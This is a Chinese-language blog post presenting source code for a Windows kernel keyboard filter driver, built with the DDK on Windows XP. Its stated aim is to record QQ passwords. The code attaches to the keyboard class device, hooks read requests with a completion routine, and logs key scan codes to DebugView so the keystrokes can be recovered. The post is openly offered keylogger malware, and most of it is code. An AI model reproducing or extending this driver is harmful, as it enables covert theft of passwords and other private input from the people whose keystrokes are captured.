QQ密码记录程序源码-优快云博客

本文介绍如何利用C++编写键盘分层驱动，将过滤驱动挂载到键盘驱动上，设置完成例程并通过KdPrint输出键盘扫描码到DebugView。详细步骤包括安装驱动、设置完成例程及从DebugView日志文件中读取按键信息。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

最近看了看c++，写个程序玩玩。因为用户态代码不好截取到qq密码，写个键盘分层驱动。试了试效果还可以。

开发环境 vs2008 winddk ddkwizard windowsxp Dbgview

实现方法

1.把过滤驱动挂载到键盘驱动上面

2.设置完成例程

3.通过KdPrint输出键盘扫描码到DebugView

4. 从DebugView的日志文件中读出键盘按键。

具体代码

1.把过滤驱动挂载到KeyBoardClass0上面

PFILE_OBJECT fileOjbect;
PDEVICE_OBJECT deviceObject;
UNICODE_STRING deviceName;
PDEVICE_EXTENSION pdx;
PDEVICE_OBJECT filterDeviceObject;
PDEVICE_OBJECT targetDevice;
fileOjbect=NULL;
RtlInitUnicodeString(&deviceName,L"\\Device\\KeyBoardClass0");
status=IoGetDeviceObjectPointer(&deviceName,FILE_ALL_ACCESS,&fileOjbect,&deviceObject);
pdoDeviceObj->Flags |= DO_BUFFERED_IO;
pdx=(PDEVICE_EXTENSION)pdoDeviceObj->DeviceExtension;
pdx->pDevice=pdoDeviceObj;
pdx->ustrDeviceName=usDeviceName;
filterDeviceObject=((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->pDevice;
targetDevice=IoAttachDeviceToDeviceStack(filterDeviceObject,deviceObject);
((PDEVICE_EXTENSION)DriverObject->DeviceObject->DeviceExtension)->TargetDevice=targetDevice;
filterDeviceObject->DeviceType=targetDevice->DeviceType;
filterDeviceObject->Characteristics=targetDevice->Characteristics;
filterDeviceObject->Flags&=~DO_DEVICE_INITIALIZING;
filterDeviceObject->Flags|=(targetDevice->Flags&(DO_DIRECT_IO|DO_BUFFERED_IO));
ObDereferenceObject(fileOjbect);
return STATUS_SUCCESS;

2.设置完成例程

PDEVICE_EXTENSION pdx;
pdx=(PDEVICE_EXTENSION)DeviceObject->DeviceExtension;
IoCopyCurrentIrpStackLocationToNext(Irp);
IoSetCompletionRoutine(Irp,MyIoCompletion,NULL,TRUE,TRUE,TRUE);
NTSTATUS status=IoCallDriver(pdx->TargetDevice,Irp);
return status;

3.输出键盘按键的扫描码

NTSTATUS MyIoCompletion(IN PDEVICE_OBJECT DeviceObject,IN PIRP Irp,IN PVOID Context)
{
if(NT_SUCCESS(Irp->IoStatus.Status))
{
PKEYBOARD_INPUT_DATA keys = (PKEYBOARD_INPUT_DATA)Irp->AssociatedIrp.SystemBuffer;
if(keys->Flags==0x0001||keys->Flags==0x0003)
KdPrint(("%02x",keys->MakeCode));
}
if(Irp->PendingReturned)
{
IoMarkIrpPending(Irp);
}
return STATUS_SUCCESS;
}